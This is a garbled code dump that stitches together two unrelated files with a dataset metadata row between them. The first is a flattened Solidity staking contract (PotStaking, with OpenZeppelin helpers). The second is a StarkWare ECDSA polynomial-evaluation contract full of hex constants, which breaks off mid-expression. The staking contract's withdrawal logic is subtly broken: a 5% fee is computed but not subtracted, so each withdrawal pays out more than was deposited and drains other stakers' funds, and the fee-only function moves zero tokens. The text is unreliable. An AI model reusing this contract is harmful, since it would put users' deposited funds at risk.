(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// Dependency file: @openzeppelin/contracts/math/SafeMath.sol
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// Dependency file: @openzeppelin/contracts/token/ERC20/SafeERC20.sol
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// Dependency file: @openzeppelin/contracts/token/ERC20/IERC20.sol
interface IERC20 {
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Initializable {
bool private initialized;
bool private initializing;
modifier initializer() {
require(initializing || isConstructor() || !initialized, "Contract instance has already been initialized");
bool isTopLevelCall = !initializing;
if (isTopLevelCall) {
initializing = true;
initialized = true;
}
_;
if (isTopLevelCall) {
initializing = false;
}
}
function isConstructor() private view returns (bool) {
address self = address(this);
uint256 cs;
assembly { cs := extcodesize(self) }
return cs == 0;
}
uint256[50] private ______gap;
}
// Dependency file: contracts/StakePool.sol
contract StakePool is Initializable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
IERC20 public depositToken;
address public feeTo;
uint256 private _totalSupply;
mapping(address => uint256) private _balances;
function initialize(address _token, address _feeTo) public initializer {
depositToken = IERC20(_token);
feeTo = address(_feeTo);
}
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function _stake(uint256 amount) internal {
_totalSupply = _totalSupply.add(amount);
_balances[msg.sender] = _balances[msg.sender].add(amount);
depositToken.safeTransferFrom(msg.sender, address(this), amount);
}
function _withdraw(uint256 amount) internal {
if (msg.sender != address(feeTo)) {
uint256 feeamount = amount.div(20);
uint256 finalamount = (amount);
_totalSupply = _totalSupply.sub(amount);
_balances[msg.sender] = _balances[msg.sender].sub(amount);
depositToken.safeTransfer(msg.sender, finalamount);
depositToken.safeTransfer(feeTo, feeamount);
} else {
_totalSupply = _totalSupply.sub(amount);
_balances[msg.sender] = _balances[msg.sender].sub(amount);
depositToken.safeTransfer(msg.sender, amount);
}
}
function _withdrawFeeOnly(uint256 amount) internal {
uint256 feeamount = 0;
_totalSupply = _totalSupply.sub(feeamount);
_balances[msg.sender] = _balances[msg.sender].sub(feeamount);
depositToken.safeTransfer(feeTo, feeamount);
}
// Update feeTo address by the previous feeTo.
function feeToUpdate(address _feeTo) public {
require(msg.sender == feeTo, "feeTo: wut?");
feeTo = _feeTo;
}
}
// Dependency file: @openzeppelin/contracts/math/Math.sol
library Math {
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
contract PotStaking is StakePool {
IERC20 public rewardToken;
uint256 public halvingPeriod = 31536000;
uint256 public totalreward;
uint256 public starttime;
uint256 public stakingtime;
uint256 public eraPeriod = 0;
uint256 public rewardRate = 0;
uint256 public lastUpdateTime;
uint256 public rewardPerTokenStored;
uint256 public totalRewards = 0;
mapping(address => uint256) public userRewardPerTokenPaid;
mapping(address => uint256) public rewards;
event RewardAdded(uint256 reward);
event Staked(address indexed user, uint256 amount);
event Withdrawn(address indexed user, uint256 amount);
event RewardPaid(address indexed user, uint256 reward);
modifier updateReward(address account) {
rewardPerTokenStored = rewardPerToken();
lastUpdateTime = lastTimeRewardApplicable();
if (account != address(0)) {
rewards[account] = earned(account);
userRewardPerTokenPaid[account] = rewardPerTokenStored;
}
_;
}
constructor(address _depositToken, address _rewardToken, uint256 _totalreward, uint256 _starttime, uint256 _stakingtime) public {
super.initialize(_depositToken, msg.sender);
rewardToken = IERC20(_rewardToken);
starttime = _starttime;
stakingtime = _stakingtime;
notifyRewardAmount(_totalreward.mul(50).div(100));
}
function lastTimeRewardApplicable() public view returns (uint256) {
return Math.min(block.timestamp, eraPeriod);
}
function rewardPerToken() public view returns (uint256) {
if (totalSupply() == 0) {
return rewardPerTokenStored;
}
return
rewardPerTokenStored.add(lastTimeRewardApplicable()
.sub(lastUpdateTime)
.mul(rewardRate)
.mul(1e18)
.div(totalSupply()));
}
function earned(address account) public view returns (uint256) {
return
balanceOf(account)
.mul(rewardPerToken().sub(userRewardPerTokenPaid[account]))
.div(1e18)
.add(rewards[account]);
}
function stake(uint256 amount) public updateReward(msg.sender) checkhalve checkStart{
require(amount > 0, "ERROR: Cannot stake 0 Token");
super._stake(amount);
emit Staked(msg.sender, amount);
}
function withdraw(uint256 amount) public updateReward(msg.sender) checkhalve checkStart stakingTime{
require(amount > 0, "ERROR: Cannot withdraw 0");
super._withdraw(amount);
emit Withdrawn(msg.sender, amount);
}
function exit() external stakingTime{
withdraw(balanceOf(msg.sender));
_getRewardInternal();
}
function getReward() public updateReward(msg.sender) checkhalve checkStart stakingTime{
uint256 reward = earned(msg.sender);
uint256 bal = balanceOf(msg.sender);
if (reward > 0) {
rewards[msg.sender] = 0;
if (bal > 0) {
super._withdrawFeeOnly(bal);
}
rewardToken.safeTransfer(msg.sender, reward);
emit RewardPaid(msg.sender, reward);
totalRewards = totalRewards.add(reward);
}
}
function _getRewardInternal() internal updateReward(msg.sender) checkhalve checkStart{
uint256 reward = earned(msg.sender);
if (reward > 0) {
rewards[msg.sender] = 0;
rewardToken.safeTransfer(msg.sender, reward);
emit RewardPaid(msg.sender, reward);
totalRewards = totalRewards.add(reward);
}
}
modifier checkhalve(){
if (block.timestamp >= eraPeriod) {
totalreward = totalreward.mul(50).div(100);
rewardRate = totalreward.div(halvingPeriod);
eraPeriod = block.timestamp.add(halvingPeriod);
emit RewardAdded(totalreward);
}
_;
}
modifier checkStart(){
require(block.timestamp > starttime,"ERROR: Not start");
_;
}
modifier stakingTime(){
require(block.timestamp >= stakingtime,"ERROR: Withdrawals not allowed yet");
_;
}
function notifyRewardAmount(uint256 reward)
internal
updateReward(address(0))
{
if (block.timestamp >= eraPeriod) {
rewardRate = reward.div(halvingPeriod);
} else {
uint256 remaining = eraPeriod.sub(block.timestamp);
uint256 leftover = remaining.mul(rewardRate);
rewardRate = reward.add(leftover).div(halvingPeriod);
}
totalreward = reward;
lastUpdateTime = block.timestamp;
eraPeriod = block.timestamp.add(halvingPeriod);
emit RewardAdded(reward);
}
}
| 254,356 | 14,061 |
ca67cfdbb80e1e21c7842b296cd0d9412750823228a9999005ac140ce8156b81
| 34,455 |
.sol
|
Solidity
| false |
239796361
|
starkware-libs/starkex-contracts
|
aecf37f2278b2df233edd13b686d0aa9462ada02
|
evm-verifier/solidity/contracts/cpu/periodic_columns/EcdsaPointsYColumn.sol
| 18,208 | 29,914 |
// SPDX-License-Identifier: Apache-2.0.
pragma solidity ^0.6.12;
contract EcdsaPointsYColumn {
function compute(uint256 x) external pure returns(uint256 result) {
uint256 PRIME = 0x800000000000011000000000000000000000000000000000000000000000001;
assembly {
// Use Horner's method to compute f(x).
// The idea is that
// a_0 + a_1 * x + a_2 * x^2 + ... + a_n * x^n =
// (...(((a_n * x) + a_{n-1}) * x + a_{n-2}) * x + ...) + a_0.
// Consequently we need to do deg(f) horner iterations that consist of:
// 1. Multiply the last result by x
// 2. Add the next coefficient (starting from the highest coefficient)
//
// We slightly diverge from the algorithm above by updating the result only once
// every 7 horner iterations.
// We do this because variable assignment in solidity's functional-style assembly results in
// a swap followed by a pop.
// 7 is the highest batch we can do due to the 16 slots limit in evm.
result :=
add(0xf524ffcb160c3dfcc72d40b12754e2dc26433a37b8207934f489a203628137, mulmod(add(0x23b940cd5c4f2e13c6df782f88cce6294315a1b406fda6137ed4a330bd80e37, mulmod(add(0x62e62fafc55013ee6450e33e81f6ba8524e37558ea7df7c06785f3784a3d9a8, mulmod(add(0x347dfb13aea22cacbef33972ad3017a5a9bab04c296295d5d372bad5e076a80, mulmod(add(0x6c930134c99ac7200d41939eb29fb4f4e380b3f2a11437dd01d12fd9ebe8909, mulmod(add(0x49d16d6e3720b63f7d1e74ed7fd8ea759132735c094c112c0e9dd8cc4653820, mulmod(add(0x23a2994e807cd40717d68f37e1d765f4354a81b12374c82f481f09f9faff31a, mulmod(result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x4eac8ffa98cdea2259f5c8ad87a797b29c9dccc28996aed0b545c075c17ebe1, mulmod(add(0x1058ff85f121d7902521abfa5f3f5c953fee83e0f58e069545f2fc0f4eda1ba, mulmod(add(0x76b4883fd523dff46e4e330a3dd140c3eded71524a67a56a75bd51d01d6b6ca, mulmod(add(0x5057b804cff6566354ca744df3686abec58eda846cafdc361a7757f58bd336e, mulmod(add(0x37d720cf4c846de254d76df8b6f92e93b839ee34bf528d059c3112d87080a38, mulmod(add(0xa401d8071183f0c7b4801d57de9ba6cda7bd67d7941b4507eab5a851a51b09, mulmod(add(0x603e3a8698c5c3a0b0b40a79ba0fdff25e5971f0ef0d3242ead1d1a413e443b, mulmod(result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x4b74b468c4ef808ddcc6e582393940111941abece8a285da201171dc50525c7, mulmod(add(0x761717d47600662a250116e2403b5115f4071de6e26e8dc231840eeb4484ec3, mulmod(add(0x5a593d928542a100c16f3dc5344734c9ef474609bd7099257675cef0392fab8, mulmod(add(0x7d2292c8660492e8a1ce3db5c80b743d60cdaac7f438b6feab02f8e2aade260, mulmod(add(0x480d06bb4222e222e39ab600b8aadf591db4c70bae30fe756b61564eec6c7e, mulmod(add(0x59fef071cf1eeff5303f28f4fe10b16471a2230766915d70b525d62871f6bc6, mulmod(add(0x6e7240c4a94fa3e10de72070fd2bf611af5429b7e83d53cfe1a758dee7d2a79, mulmod(result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x247573f2f3fbd5386eac2d26851f9512cd57ad19773b8ca119d20852b9b6538, mulmod(add(0x739edb8cdd16692deaba7fb1bb03f55dd417891bacb39c7927969551f29cb37, mulmod(add(0x6e0bed1b41ee1cf8667c2924ebd460772a0cd97d68eaea63c6fa77bf73f9a9e, mulmod(add(0x3ede75d46d49ceb580d53f8f0553a2e370138eb76ac5e734b39a55b958c847d, mulmod(add(0x59bd7fe1c9553495b493f875799d79fc86d0c26e794cce09c659c397c5c4778, mulmod(add(0x47b2a5ef58d331c30cfcd098ee011aaeae87781fd8ce2d7427c6b859229c523, mulmod(add(0x14ef999212f88ca277747cc57dca607a1e7049232becedf47e98aca47c1d3fe, mulmod(result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x38db61aa2a2b03053f5c51b155bc757b0634ce89baace113391369682fc1f74, mulmod(add(0x43545892bb5a364c0b9acd28e36371bede7fd05e59a9dcd875c44ff68275b2b, mulmod(add(0x5599e790bd325b322395d63d96cd0bd1494d4648e3d1991d54c23d24a714342, mulmod(add(0x675532b80f5aaa605219de7fe8650e24fee1c3b0d36cdf4fb605f6215afacee, mulmod(add(0x278a7c68986adbe634d44c882a1242147e276fee7962d4c69ca4c8747b3e497, mulmod(add(0x75a0f99a4dec1988f19db3f8b29eeef87836eb0c3d8493913b7502cfedcef28, mulmod(add(0x2f6efb89f27d2c0a86ec1e6f231b225caf2af9be01aca173a15fa02b11fdf24, mulmod(result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x10f236430f20aafda49d1c3e3759c510fdf0c0c19f89df6d5d71deac88b547b, mulmod(add(0x7b16c33c4a8ffcecbd83f382469e1d00a340ceab5e7d9c0bd4fd010b83f4310, mulmod(add(0x6ae3ee97ea5dcfbb7c36cffd89665baf114fae391c0367be688db09861a8ca1, mulmod(add(0xcb3335374cc2a2350fe53d2389f04952c4d634f489031742dfccca17be2e09, mulmod(add(0x1030d58878296e14b1c5bcafe7e817ebe4aa1039aa96b9d0dd7fc915b23f42a, mulmod(add(0x3a663fc27ec3ad56da89d407089bcec0971cebcb3edf0c393112501919643d7, mulmod(add(0x71b2b6b03e8cc0365ac26c4dbf71e8d426167d79f8bd1af44738890c563062a, mulmod(result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x4f63db02e10fbe428a5dda8d9093feef46cc19568a3c8ad2fce7e7519004095, mulmod(add(0x2bfd1294f111a5a90842d19cffb97481aefbc09ab6c47d7dcf91ba228019c07, mulmod(add(0xdaee1c7b34ecb34717b7313dc4a299dd1a161447e2e0249426a6fc33a72289, mulmod(add(0x76323f8567119897f10d58e1552c98f5a62f03a16d3737e20fc2b0a31a3a843, mulmod(add(0x65d50aa3c1d84a3deee14057eec98656a1296cdcbe32250bfdaa50ffac4c5dc, mulmod(add(0x253bf2869135f4bda4029cae2819b2f468ae88530f3ea771090b2727814c494, mulmod(add(0x104b04e96151f5103118c4eb556cd79899148fd6656e73cb62f41b41d65e4d8, mulmod(result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x4e0a5dd802deed7cb8d06527beb15dad32547bae77141c32473f4c8148912e3, mulmod(add(0x33ff2d848bf237f536524da818598ae0f2516ebee526b77957448973eefacd3, mulmod(add(0x5a00feeb391114d7b976654ab16ddf8360f05671b34d4a97da278c0aef34d76, mulmod(add(0x7e8659c39d7a102a198f0e7c3814060926ec0410330dd1a13dfadeab4e74593, mulmod(add(0x5ba89e0eb3830039d0f8a9ca00acef15db22374c965b01abc49dee46270a7d, mulmod(add(0x30a2e8ac9e6605fd722dffb4caca8c06dd4a8968a7bf41a5371cb1a07d11c00, mulmod(add(0x761a240cd8aa2f135daf0760bfc2c9d5e896e93a45426571cdad9118722e2b0, mulmod(result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x1b0fa36439192f135c239918bf47ad14b55ced699f4582d929a60dd227b34ff, mulmod(add(0x472d99d1a6e1a6aef339eab1af3d53af7a8326e4d0a6bac73c3a159031c3686, mulmod(add(0x2046e1b4fd4c108e8f832f5bcc4dd46abf0d19ef0237beaec29d6c12fb9832e, mulmod(add(0xa758a70ba6a0cbcbc65abfeca51359904f790752c3df55d42707253d8dea70, mulmod(add(0x6eb66d366da57e4ae717307dfc3351579fe857c51aa82b95044473c9ed14377, mulmod(add(0x59d0d8ca9ecda81081dfcae7580ab3c08a72195438c1556000c0c1dbdc08174, mulmod(add(0x776459dfedbbdfcef7a31e0f60c6480fc0676b280fdb6290859fe586d6e6106, mulmod(result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x23590dabe53e4ef12cba4a89b4741fcfaa232b7713d89df162031c8a627011e, mulmod(add(0x339b405bffb6dbb25bc0432e9c726b7f94e18cf1332ec7adfeb613345e935ab, mulmod(add(0x25c5f348c260177cd57b483694290574a936a4d585ea7cf55d114a8005b17d0, mulmod(add(0x68a8c6f86a8c1ebaeb6aa72acef7fb5357b40700af043ce66d3dccee116510a, mulmod(add(0x1ea9bd78c80641dbf20eddd35786028691180ddcf8df7c87552dee1525368ba, mulmod(add(0x4e42531395d8b35bf28ccc6fab19ea1f63c635e5a3683ac9147306c1640e887, mulmod(add(0x728dd423dbf134972cbc7c934407424743843dd438e0f229afbcca6ce34d07d, mulmod(result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x30b11c32e8aab0c5908651a8d445395de52d5ce6a1efe75f2ad5e2c8c854a30, mulmod(add(0x44938959c2e944eb6e5c52fc4ee40b34df37905fa348fa109f6875c1aa18000, mulmod(add(0x655038ca08eba87484bc562e7fd50ce0584363278f9d716e31c650ee6989a2b, mulmod(add(0x4f81a946bb92416d212e4d54f2be5fa8043be6fa482b417d772bfa90be4e273, mulmod(add(0x605a244f646a825602891bf9ddffef80525010517b32625759b0bf5a7f2c386, mulmod(add(0x2e1b2a3c32aebc0be30addd8929c01714783aaf01be8a1d35e830646e8a54f0, mulmod(add(0x534a4f3cf71c93023e473f12e407558b6c24b712204fd59ddc18c7bcddd571e, mulmod(result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x3e850e31c0345726c1ace38537dd88a50c85d6819ae98add1bbd62b618f7a1c, mulmod(add(0xd77a8e8eed7ce4931a6d2a4774c21864e2c9f468d080af9aba6756433a1a8d, mulmod(add(0x62be425458d26cfedf8ec23961cdfd9f4abeb21f1debbe87bd51469013358fe, mulmod(add(0x7d7faca17be1da74cf132dda889a05fce6e710af72897a941625ea07caa8b01, mulmod(add(0x580550e76557c8ff3368e6578a0e3bed0bac53b88fefdde88f00d7089bc175d, mulmod(add(0x1345876a6ab567477c15bf37cc95b4ec39ac287887b4407593203d76f853334, mulmod(add(0x4a92733a733f225226a3d7f69297e7ff378b62c8a369e1bbf0accfd7fb0977e, mulmod(result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x2833391a62030808228d14437d6f91b31c0038c14988a23742b45e16f9b84b5, mulmod(add(0xa737d6916aa6a869252d8ff294a55706e95e0844e6b047755704e37d978e09, mulmod(add(0x2652523cbbec2f84fae1a17397dac1965127650479e1d5ccfc6bfbfcbb67996, mulmod(add(0x6dcfc3a99563a5ba4368ac4f11f43e830c5b620a7273330e841bedec0bfb5a, mulmod(add(0x5428ff423f2bbabcb5f54aafa03d99a320b4b255115351f50b229eae5522178, mulmod(add(0x76640613af9ed1a125624e0c38252bee457ce87badb24fc4f961e55883d9077, mulmod(add(0x375a5d9b11c83d06a04dc9f1908b8183adc6f04e5b2ceeaa23d3b68c973ee77, mulmod(result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x327319fcc0d34a0d64f5acab00244b43674a60bef754844fb2920c87c90cff0, mulmod(add(0x573b13b32161c11c9b16eff7cf93fa770a3ef667547a27503e39092aeabf73e, mulmod(add(0x41776c662b44a36c7075097c14b6010cb321591a4eca2866d58252eaf9471ac, mulmod(add(0x7f2abefac9e7f8109b0a2d25d0bd297059e45dd66798ac8b299f0a3e442dd2c, mulmod(add(0x60bdb98c079bd5cef216803b056afce03f6ea41934275c965d6e196240fb953, mulmod(add(0x1e141c5429a369996563573bf61d7f713cb7d25baadff636ba2756c65a910ee, mulmod(add(0x284f7815a7eabc1dcf56da511f7d739f1a199f8ffaf3474f645d2fc93327dc, mulmod(result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x70930735d913d54915fba20c97f07cba8f33eb8f4f81fd869699a10e83264cd, mulmod(add(0x1e3b6498f0daba2fd99c2ac65461c3fa519cb738b53cd6f002e97199fa4161c, mulmod(add(0x3d8506e792fa9ac86ac9739d3d5bf63cfc13c456a99c8581adf590c8d9b72eb, mulmod(add(0x5e4b0ecc6a6c15ed16c1c04e96538880785ff9b5bff350f37e83b6fed446f14, mulmod(add(0x21f5ea8660d290f28b9300e02ed84e110d7338a74503b369ad144a11cf79f63, mulmod(add(0x7b9cd3b277f00a75a17961d2d8e46e6a1838c8500c569cdcad08bd4e0cbae84, mulmod(add(0x755f0e4c374e2fa4aa7eda10041e2139a4a7793eea44f415c73ad4fcba1758, mulmod(result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x3678de28b6896959edf5c9dc0caec59b02dfbbf54811f87939b32d0523f58bb, mulmod(add(0x5820792f23a13d58ddef0607950d422598bb1f21888dace88929fbe7d4828c4, mulmod(add(0x26a4b2a61f40c1ad77737b99cb27d2f3118622be64f0120907e2589d2f25ebf, mulmod(add(0x4b2222d0aee638c7e5efd8ada791638ac155a01b78f3b532283574653998bb2, mulmod(add(0x5db8c52b6adb520496f9edd7105c92df67e8605ff4e0cc59992c3eb651ac7a4, mulmod(add(0x3aa748723229eb8b33354e0901f50ad052b6c1006916790c979133c4442be90, mulmod(add(0x16a36769ee50227c564bebce3d9cd7c4ca55702a7c7ccf403075f68f05a0c2, mulmod(result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x171f0638dedf0b69655fa9930bcbc91b257e299a6717bd8ea23ef550c8faff5, mulmod(add(0x29889daac66c404d6491ec3a435d810a2877d885df1a3a193697b79b4af39c4, mulmod(add(0x229d7fc2a1bcfbe00d5773f8dadd70a2641d8578fa73e66263b3512d3e40491, mulmod(add(0x73200d12e733294b5cbb8ffe7fb3977088135d0b0e335135f9076d04a653c58, mulmod(add(0x6d7af6524127a117184a0c12a6ff30d28b14933a4e96bb3b738d2a36db72e84, mulmod(add(0x7af8995e2ceed8841e34d44365c7ca14f5980a6a5c67b9813fa7bfd74a9c1b1, mulmod(add(0x3cd13f84bb7ae6eeccc1012837d2f3e017f069e66cf047172bc70371f5aed38, mulmod(result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x658160ea7b654d786dc624b258c691f594e080610c2d41d6ebea0d8e3396849, mulmod(add(0x56cbe248ebbc2f57ca8b943b219ba245791592f687815293a4499ef598fa9b7, mulmod(add(0x2a48058c77edcd75dd4323d9bb9eccb854009b1184fd716a8202f8627bb5447, mulmod(add(0x3444c0f008988c8f600270b365ff926f016e49a54ab35bac4f3b3a42a5879b1, mulmod(add(0x6d1c3edcf1de16a4e0ad7d8aa099a31fa2cfbf81f6d1a5798bd1ef93ff906af, mulmod(add(0x7fc7d854c9d0b3bfbf826c384b3521af0f29f975613e8ea6dc14f37d8beb54c, mulmod(add(0xded0f75cd0a6a5401a954d26880eaf12050ce6458d3254c9dd6354bf66278, mulmod(result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x54ab13ae1984dcc7d38c867a47f4a8cf786079ee07cc94ab5ec1962c21f638b, mulmod(add(0x688c61ee887c1497ffcef82163f1a81bf7778f2c314ffbd325627bf0b25dc5a, mulmod(add(0x657060a10db73c4a9b6aa6288dd6164e0b50a4e6efbc2ee599a0cf4fda33b81, mulmod(add(0x4c05a7abaaf08f21d93b2257d4f4a3ab2b44f4ac44ce0444418c864ca18470b, mulmod(add(0x19637a12aa8b822c4a3f3551ef6c538043371a12a962de1dc25d67e0a5ee561, mulmod(add(0x7b74edd15d97b289da4040272cfc573f69a8c9a8b36d05e3e50b598508b7f9d, mulmod(add(0x6fcc261ded0ba97b4defc7c9bcd32b5dac89e4c08cb55cef98c6b50f5a3a289, mulmod(result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x601a139ed75acbecf557cd6513171385a119087585111c30bbc1b65cd6d30d, mulmod(add(0x199d80ad30b4b330fc8a063d1e87307993e1d98822a1729488ba8a586045691, mulmod(add(0x17ab90241b58bd3bd90b8a5c7f30aa9e5afeedbe1c31f21ca86c46c497b573c, mulmod(add(0x7d92a463e2aec09eb86f4647dc9ec241904135b5eb53ea272e809e58c0a271e, mulmod(add(0x51d6322f7d582892421e977464b49c4e6e64af2438da9a7f21a061c77712dc, mulmod(add(0x610bf9b7ea4557d72411ec90fb677f9a2ccb84c76f003954da4e7f439c9a84c, mulmod(add(0xccee381472bb7dcae008316038c87a44fd9295f730e389eff14e86442c41b8, mulmod(result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x79fd6f5f9b042ece36af6b10eae2eef9de9c9dd18752eb66868a0c301015dd9, mulmod(add(0xf1f93c3d919653f02fba06fcba1ab89497fff53eceff6a7d129887d5a9e3b, mulmod(add(0x43f51dfe0f1cf290c9a522e2a5e734f79d220be80348438c676295c3d429e, mulmod(add(0x27e76848780aba5b12061bffefff1710995586618a2f32792d62771d31ed519, mulmod(add(0x7e176a66dcfd58e240c4546cd760b7e5ad02e4f0265c6a2f38d710bbdf99d55, mulmod(add(0x2a17a5c34f9f598deb5bec334fde606eaa5601df908eb5825ecf70f9cecec3f, mulmod(add(0x77b10e23b08892ab18cc6b14dfda6f4be5c2fec94a12e3622622376edd0d6a8, mulmod(result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x78aafbe80fa5ee9a846e991bf35b81567a6dcbb1b190e7ee47e53fc66422e84, mulmod(add(0x69d95f3c7892a1cf65b45c324be2294c4c5459e05e0feaa0b8bb98cd8bc958f, mulmod(add(0x201019c76d9aa29a00e6b18a4eeac7b1322b44285c57cf4c0b68a87120b1d31, mulmod(add(0x7238f034b8c57c8b59b0f744ababf9da8229152a051d4f3b3c4995233ac1111, mulmod(add(0x219557f1604be8622e697e986c03d2a49e40cce558a264bf4f1ebe06493eceb, mulmod(add(0x329230075f64ffbf631eb0c40b97d71b4dc38a08bd18b638f57e5644680068c, mulmod(add(0x1958435eb08883bd69b6a56a8f3103c22f8ae206a3d4deaf4a04118b4dd6a6c, mulmod(result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
